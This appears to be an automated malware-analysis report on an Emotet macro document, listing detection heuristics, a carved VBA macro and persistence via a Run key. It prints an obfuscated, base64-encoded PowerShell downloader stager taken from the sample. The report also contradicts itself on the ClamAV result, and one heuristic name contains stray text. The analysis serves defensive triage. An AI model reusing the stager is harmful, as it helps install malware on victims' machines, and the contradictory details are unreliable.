Malware Insights
The critical heuristic OLE_USERFORM_OBFUSCATED_POWERSHELL indicates the presence of an obfuscated PowerShell stager within a UserForm. The Document_Open macro (OLE_VBA_DO কিনা) is configured to execute this stager via CreateObject (OLE_VBA_CREATEOBJ). The reconstructed PowerShell command is: "powershell -e JABVADkAcA2vhaghsghfBmAHcAeQBq2vhaghsghfAD0AKAAoAC2vhaghsghfcAQgA2ACcA2vhaghsghfKwAnAF8AJw2vhaghsghfApACsAKAAn2vhaghsghfAG8AOABfAC2vhaghsghfcAKwAnAHAA2vhaghsghfJwApACkAOw2vhaghsghfAuACgAJwBu2vhaghsghfAGUAJwArAC2vhaghsghfcAdwAtAGkA2vhaghsghfdABlAG0AJw2vhaghsghfApACAAJABl2vhaghsghfAE4AVgA6AH2vhaghsghfUAUwBlAHIA2vhaghsghfUABSAG8ARg2vhaghsghfBJAEwAZQBc2vhaghsghfAEsAWABmAE2vhaghsghfUARAAxADQA2vhaghsghfXABEAFMANQ2vhaghsghfA4ADMAUgBo2vhaghsghfAFwAIAAtAG2vhaghsghfkAdABlAG0A2vhaghsghfdAB5AHAAZQ2vhaghsghfAgAGQASQBy2vhaghsghfAEUAYwB0AE2vhaghsghf8AUgBZADsA2vhaghsghfWwBOAGUAdA2vhaghsghfAuAFMAZQBy2vhaghsghfAHYAaQBjAG2vhaghsghfUAUABvAGkA2vhaghsghfbgB0AE0AYQ2vhaghsghfBuAGEAZwBl2vhaghsghfAHIAXQA6AD2vhaghsghfoAIgBTAGAA2vhaghsghfZQBDAHUAUg2vhaghsghfBgAGkAYABU2vhaghsghfAHkAUAByAG2vhaghsghf8AdABPAGMA2vhaghsghfTwBMACIAIA2vhaghsghfA9ACAAKAAo2vhaghsghfACcAdAAnAC2vhaghsghfsAJwBsAHMA2vhaghsghfMQAnACkAKw2vhaghsghfAoACcAMgAs2vhaghsghfACcAKwAnAC2vhaghsghfAAdABsAHMA2vhaghsghfJwArACcAMQ2vhaghsghfAxACcAKQAr2vhaghsghfACgAJwAs2vhaghsghfAAJwArACcANg2vhaghsghfdAAnACkAKw2vhaghsghfAnAGwAJwAr2vhaghsghfACcAcwAnAC2vhaghsghfkAOwAkAFMA2vhaghsghfYQBrAGYAeg2vhaghsghfBuAHoAIAA92vhaghsghfACAAKAAoAC2vhaghsghfcAVQAnACsA2vhaghsghfJwBpADAA". This PowerShell command is responsible for downloading and executing a second-stage payload, likely establishing persistence via the Run key 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy'. The ClamAV detection 'Doc.Malware.Emotet-9762371-0' further supports the Emotet family attribution.
Heuristics 8
-
Hidden UserForm PowerShell EncodedCommand stager critical OLE_USERFORM_OBFUSCATED_POWERSHELLOLE document contains a UTF-16LE form/property string with an obfuscated PowerShell -EncodedCommand payload. The observed macro family reconstructs this hidden string with Split/Join or UserForm property reads and launches it through WMI/COM process creation. This is downloader malware, not an Office CVE exploit.
-
ClamAV: Doc.Malware.Emotet-9762371-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Emotet-9762371-0
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
VBA macros detected medium OLE_VBA_MACROSDocument contains VBA macro code
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas8bee8f90d9dfb3891c7c232e7baf01a2aaa2db95a501fe4ff2d320babae29389 |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 22935 bytes |
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved macro source contains an auto-exec entry point and execution/download terms.
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.